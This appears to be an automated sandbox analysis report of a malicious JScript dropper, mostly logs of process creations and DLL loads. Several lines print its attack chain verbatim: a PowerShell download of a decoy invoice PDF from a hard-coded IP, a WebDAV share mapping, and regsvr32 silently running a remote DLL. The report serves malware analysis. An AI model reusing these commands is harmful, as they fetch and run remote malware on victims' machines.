Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1628,i,1415261473750801781,8800179272303295785,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1628,i,1415261473750801781,8800179272303295785,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1792.js.csv");ITextStream.WriteLine(" entry:7618 f:wbxajjcd");ITextStream.WriteLine(" exec:2 f:wbxajjcd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
